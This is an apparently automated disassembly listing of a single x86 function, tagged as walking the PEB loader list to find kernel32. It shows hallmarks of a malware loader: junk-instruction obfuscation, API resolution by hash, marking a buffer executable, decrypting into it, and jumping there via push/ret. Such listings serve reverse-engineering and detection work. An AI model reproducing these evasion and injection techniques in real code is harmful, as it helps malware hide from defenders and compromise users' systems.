Function at 0x4020c7
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x42e040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.IOanz_UZA891nNAIUsy_U_Ahy8_
lea ecx, [ebp - 0x34]
call fcn.00402631
and cx, 0x31a
sub bx, 0x188
imul di
or ax, 0x1f8
rcl ecx, 0xa8
dec ax
dec ax
or esi, 0x75
shr di, 0xa7
inc si
imul bx
mov cx, 0x243
dec edi
shr dx, 0x2b
shl ecx, 0x4f
movzx ebx, dh
mul esi
rcr si, 0x90
movsx ecx, bh
shl si, 0x18
rol si, 0x25
add ecx, 0xf7
inc si
add cx, si
jb 0x402160
cmp edx, 2
jae 0x4021b2
movsx edi, bh
dec ax
imul eax
shr si, 0x10
and di, 0x31
shl dx, 0xfc
shr ebx, 0x8c
imul ebx
add ebx, 0x1fc
mul bx
jmp 0x402171
or dx, 0x2f1
rol di, 0x6f
imul edx
or dx, 0x27
or edx, ebx
ror eax, 0x80
mov cx, 0x22b
xor dx, di
ror dx, 0xe
movsx eax, dl
jne 0x4021b2
test ecx, 0x31
ja 0x4021cb
mul edi
rcl bx, 0xd6
xor si, 0x38a
inc cx
shl ecx, 0xc4
dec edx
and ecx, ebx
add ebx, 0x2ac
or bx, 0x2cf
add edi, 0x237
jmp 0x4021b7
imul edi
sub ax, ax
add eax, edi
shl ax, 0xe
jb 0x4021cb
cmp ecx, 0x35
jb 0x4021f2
movsx eax, ax
imul ecx
jmp 0x4021e0
mov esi, edi
inc esi
dec edx
imul cx
inc ecx
rcl cx, 0x30
and bx, 0x1b8
rol bx, 0xf4
inc eax
and ax, 0x14b
shl eax, 0x7a
imul dx
jb 0x4021f2
ror ebx, 0x8c
jmp 0x4021f6
ror cx, 4
rcr bx, 0x72
shr edi, 0xff
movzx eax, cx
rcr eax, 3
jne 0x402221
dec edi
add bx, 0x256
xor eax, eax
or edi, 0x118
or ecx, 0x123
rcl ecx, 0x81
rcr ecx, 0x1f
jmp 0x402239
imul edx
rcr ax, 0x3a
mul cx
rol di, 0x6d
rcr ebx, 0x38
inc di
rcr ax, 0x54
dec di
xor cx, ax
shr di, 0x82
jb 0x402262
rol edi, 0x52
ror eax, 0xf
add dx, 0x35a
shl ebx, 0xa5
mul ebx
and edi, 0xf
shl edx, 0x80
rcr ebx, 0xaa
rcl dx, 0x5e
inc esi
jmp 0x402271
or bx, si
rol ecx, 0x80
shr bx, 0xfa
sub ebx, edx
rol ecx, 0x74
sub ax, 0x207
imul eax
ror ebx, 0xa9
dec ax
ror edi, 0x5a
mov ax, ax
mul ax
je 0x4022a8
test eax, 0x13
jb 0x4022ec
inc bx
shr ecx, 0x86
dec si
dec edx
rcr edx, 0xe6
shr si, 0x53
inc di
rol ecx, 0xf1
dec ebx
rcl ebx, 0x49
jmp 0x4022c7
or cx, 0x22f
inc eax
shr ecx, 0xaa
ror di, 0x47
movzx esi, bl
rol edi, 0xc4
rol esi, 0xf8
rol eax, 0x31
xor ax, 0x12d
mul ebx
ror esi, 0x1b
inc eax
rol ebx, 0xfa
shr dx, 0x47
shl bx, 0x88
mov dx, 0x57
rol esi, 0xd0
inc esi
shl bx, 0xab
jae 0x4022ec
mov cx, bx
movsx ebx, cx
jmp 0x4022fd
movzx ecx, cx
or di, cx
imul ecx
shl dx, 0x13
dec di
shr eax, 0xaa
mov ebx, 0x2d3
imul bx
dec eax
ror esi, 0xa0
rcl eax, 0xe
and dx, ax
mul eax
mov eax, ecx
movzx ecx, si
mul bx
jb 0x402338
cmp eax, 3
jb 0x40237b
imul ebx
and si, cx
and edi, 0x16d
inc dx
dec ecx
and bx, 0x29b
mul dx
jmp 0x402356
rcl esi, 0x21
sub ebx, edi
shl edx, 0xd2
rcl cx, 0x4d
mul eax
sub si, 0x14f
shr di, 0x9e
shl edx, 0x6e
dec ax
imul ebx
imul edx
rcl edi, 6
rol edx, 0xb7
sub si, 0x20e
ror eax, 0x2a
jb 0x40237b
test edi, 0x11
ja 0x4023b4
add edx, 0x363
imul ax
jmp 0x402389
imul eax
mul esi
rcl ebx, 0xac
imul ebx
and eax, 0x2e2
shl bx, 0xb2
dec edx
shr esi, 0x22
shl si, 0xc0
and edi, ebx
imul edx
sub si, 0x379
xor ebx, ebx
dec edi
jb 0x4023b4
imul ax
mov edx, edx
and ecx, 0x229
dec edi
movzx edx, si
jmp 0x4023d2
inc si
rcr cx, 0xe0
xor bx, 0x1f6
mov ax, 0x3ca
inc di
mul si
mul dx
movzx esi, ax
shr ax, 0x87
dec esi
movsx ecx, bx
inc edx
mul ebx
mul si
imul ax
dec dx
jb 0x402402
test esi, 0x24
jb 0x402427
imul eax
xor eax, 0x8e
dec ecx
rol eax, 0x59
rcl esi, 0xaa
mov esi, edx
mul ecx
rol ecx, 0xb4
jmp 0x402409
shr dx, 8
rcr eax, 0x63
mul ax
ja 0x402427
rol edi, 0xd4
imul eax
movzx ecx, dh
mov cx, di
rol ecx, 0xe
ror ecx, 0xaf
dec dx
ror dx, 0x71
jmp 0x402433
add dx, di
xor bx, ax
shl di, 0x57
inc ax
imul cx
shr dx, 0x2d
rol si, 0x16
ror bx, 0x3c
sub ebx, 0x293
add di, bx
rol esi, 0x33
jae 0x40246d
rcl ecx, 8
rcr bx, 0x60
rcl dx, 0xb2
mul ax
dec edi
inc esi
add ax, bx
xor di, ax
add si, 0xdf
jmp 0x402483
imul esi
inc dx
mov ebx, 0x316
mov eax, 0x24b
dec eax
mul edx
mov edx, 0x3ab
add si, di
sub ebx, 0x1ad
rcl edi, 0x9a
mul si
inc ax
xor eax, eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
push 0xf
pop ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0xc], 0
cmp dword [ebp - 0x24], 0
mov dword [ebp - 8], ebx
mov byte [ebp - 0x1c], 0
jbe 0x4024e2
call fcn.00402cc9
cmp dword [ebp - 0x20], ebx
lea edx, [ebp - 0x34]
push dword [ebp - 0x24]
cmova edx, dword [ebp - 0x34]
mov ecx, eax
call fcn.004035ae
pop ecx
push eax
call fcn.00402e8c
cmp dword [ebp - 0x20], ebx
lea eax, [ebp - 0x34]
pop ecx
push dword [ebp - 0x24]
cmova eax, dword [ebp - 0x34]
push eax
jmp 0x4024f0
mov esi, 0x42aabc
push esi
call fcn.0040d9c0
pop ecx
push eax
push esi
lea ecx, [ebp - 0x1c]
call fcn.004026e4
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x4882c8], eax
push 0x17
mov edi, 0x4e4
mov esi, 0x4868f0
push 0x42ead0
mov edx, edi
mov ecx, esi
call fcn.00401cd2
pop ecx
pop ecx
mov edx, 0x8aafdc01
call fcn.00402019
lea ecx, [ebp - 0x40]
push ecx
push 0x40
push edi
push esi
call eax
test eax, eax
je 0x4025ac
push 0x28
push str.4z
mov edx, 0x57e00
mov ecx, 0x42eaf0
call fcn.00401cd2
pop ecx
pop ecx
mov esi, 0x42eaf0
push esi
mov edx, 0x4868f0
mov ecx, 0x27
xor ecx, 0x1af
add edx, ecx
sub esp, 0xc
mov dword [esp + 4], 1
xor dword [esp + 4], 0x5dc
mov dword [esp], edx
mov byte [esp + 8], 0
lea eax, sym.imp.KERNEL32.dll_TlsGetValue
mov eax, dword [eax]
push eax
ret
mov eax, dword [ebp - 8]
cmp eax, ebx
jbe 0x4025e2
mov ecx, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], ecx
cmp eax, 0x1000
jb 0x4025d9
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.004012ac
mov eax, dword [ebp - 0x38]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x3c]
push eax
push ecx
call fcn.00406d45
pop ecx
pop ecx
and dword [ebp - 0xc], 0
lea ecx, [ebp - 0x34]
mov dword [ebp - 8], ebx
mov byte [ebp - 0x1c], 0
call fcn.004026be
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406d02
leave
ret 0x10